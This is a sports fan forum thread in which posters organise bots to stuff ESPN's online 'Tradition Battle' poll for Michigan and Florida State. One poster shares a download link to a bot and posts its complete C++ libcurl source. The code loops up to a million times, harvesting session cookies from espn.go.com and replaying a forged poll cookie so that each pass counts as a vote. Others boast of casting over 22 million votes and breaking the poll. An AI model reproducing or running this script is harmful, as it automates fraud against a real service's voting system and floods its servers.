Jump to content


ESPN Tradition Battle


Recommended Posts


I think it's a fait accompli that Michigan wins this. That doesn't mean that the bots have to die, however. Presuming Michigan wins, rework the bots so they vote for Michigan in the next round, and run them 24/7. Put 50 million votes on this thing, put 100 million on it, so ESPN has to acknowledge that their stupid contest is so easily hackable that it's worthless.

 

yeah.gif

Link to comment

It was a good effort, in ~12 hours we swung it from 75% to 25% to 60/40 or so and both sides put put 11 million votes in the poll, more than doubling it.

 

as far as re-releasing the bot to vote for michigan, meh, they have enough. I have other things I'd like to do with my bandwidth this week then run that many votes in.

Link to comment

Let's turn our Bots toward Florida State for the win.

 

 

Go Noles!

 

No, and I deliberately made it so what I released was only good for the one poll for this reason. Not every poll needs bots running millions of votes in. If FSU chooses to bot, they can do it on their own.

Link to comment

I think it's a fait accompli that Michigan wins this. That doesn't mean that the bots have to die, however. Presuming Michigan wins, rework the bots so they vote for Michigan in the next round, and run them 24/7. Put 50 million votes on this thing, put 100 million on it, so ESPN has to acknowledge that their stupid contest is so easily hackable that it's worthless.

 

Well the bot wars are back on today and to show there are no hard feelings and support our new conference I decided to do just that.

 

http://www.mediafire.com/?hwx6to8mjzjxs9h

 

Updated for the final round for anyone that feels like dumping votes in for Michigan.

 

Edit: beware I've inspired fans. That will be the one and only link I post for this. FSU fans have been trying to impersonate me on other boards with links to their own bot.

Link to comment

the source code, since no doubt a few would like to see it.

 

Nothing spectacular at all, my script basically trimmed down a tad, with no features/options, delays, or proxies and re-written in c++ in haste to combat Michigan's (hell of a) script.

 

For the windows version, it was a strait cross-compile using minGW... Native windows code might speed that up a bit.

 

#include <string>
#include <iostream>
#include <ctime>
#include "curl/curl.h"

using namespace std;

// Write any errors in here
static char errorBuffer[CURL_ERROR_SIZE];

// Write all expected data in here
static string buffer;

// This is the writer call back function used by curl
static int writer(char *data, size_t size, size_t nmemb,
                 std::string *buffer)
{
 // What we will return
 int result = 0;

 // Is there anything in the buffer?
 if (buffer != NULL)
 {
   // Append the data to the buffer
   buffer->append(data, size * nmemb);

   // How much did we write?
   result = size * nmemb;
 }

 return result;
}

int main(int argc, char* argv[])
{

   //curl objects
   CURL *curl1;

   CURLcode result1;

   curl1 = curl_easy_init();

   char ua[] = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0";
   char url[] = "http://espn.go.com/crossdomain.xml";
   char vurl1[] = "http://poll.espn.go.com/cgi/sz/poll.dll?goTo=http://espn.go.com/poll&domain=.go.com&questions=1&id=116468&qid=116379&service=SZ&count_0=2&expected_0=1&vote_0=404528";
   char vurl2[] = "http://espn.go.com/poll/?POLL454=8000000000000000000000000000000000000000000000000000000000000";
   string pcookie = " POLL454=8000000000000000000000000000000000000000000000000000000000000";
   string cookie;
   string swid;
   string userAB;
   size_t pos;
   long start, end, totalsec;
   int count;
   start = time(NULL);

   // Now set up all of the curl options
   curl_easy_setopt(curl1, CURLOPT_ERRORBUFFER, errorBuffer);
   curl_easy_setopt(curl1, CURLOPT_HEADER, 1);
   curl_easy_setopt(curl1, CURLOPT_FOLLOWLOCATION, 0);
   curl_easy_setopt(curl1, CURLOPT_WRITEFUNCTION, writer);
   curl_easy_setopt(curl1, CURLOPT_WRITEDATA, &buffer);
   curl_easy_setopt(curl1, CURLOPT_USERAGENT, ua);

   cout << "Constructicon forming Devastator!" << endl;

   for (int x = 0; x < 1000000; x++)
   {
//Clear buffer for new session cookie
buffer.clear();
//we have to clear cookies here because it messes substr
curl_easy_setopt(curl1, CURLOPT_COOKIE, "\0");
//prepare to get a session
curl_easy_setopt(curl1, CURLOPT_URL, url);

//get a session id so we can pull the cookie off the buffer.
result1 = curl_easy_perform(curl1);

//cout << "buffer = " << result1 << " " << buffer;
if (result1 == CURLE_OK)
{
	//calculate the two cookies we need.
	pos = buffer.find("SWID=");

	swid = buffer.substr(pos, 42);

	userAB = " userAB=";
	userAB.append(swid.substr(40,2));
	swid.append(userAB);

	//setup our session to hit the vote page
	curl_easy_setopt(curl1, CURLOPT_COOKIE, swid.c_str());
	curl_easy_setopt(curl1, CURLOPT_URL, vurl1);
	result1 = curl_easy_perform(curl1);
	//setup second vote url cookie
	swid.append(pcookie);
	curl_easy_setopt(curl1, CURLOPT_COOKIE, swid.c_str());
	curl_easy_setopt(curl1, CURLOPT_URL, vurl2);
	//send second vote url
	result1 = curl_easy_perform(curl1);
}

count = x+1;

       if (count % 100 == 0)
       {
            cout << count << " votes cast..." << endl;
       }
   }
   curl_easy_cleanup(curl1);

   end = time(NULL);
   totalsec = (end - start);

   if(totalsec > 0)
   {
        cout << "votes cast in: " << totalsec << " seconds." << endl;
   	 cout << "At the rate of: " << count / totalsec << " votes a second" << endl;
   }
}

 

I officially retire from the bot wars.

Link to comment

We broke it, last week apparently we were under an hour or two from breaking the thing with our 20 million+ votes.

 

We hit 22,151,426 tonight, and apparently that's as far as it goes. I dunno why but I feel a sense of satisfaction from it...

 

Maybe, just maybe, this will teach ESPN to make a more secure poll. This was just a lazy effort, too easily hackable by bots.

Link to comment

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...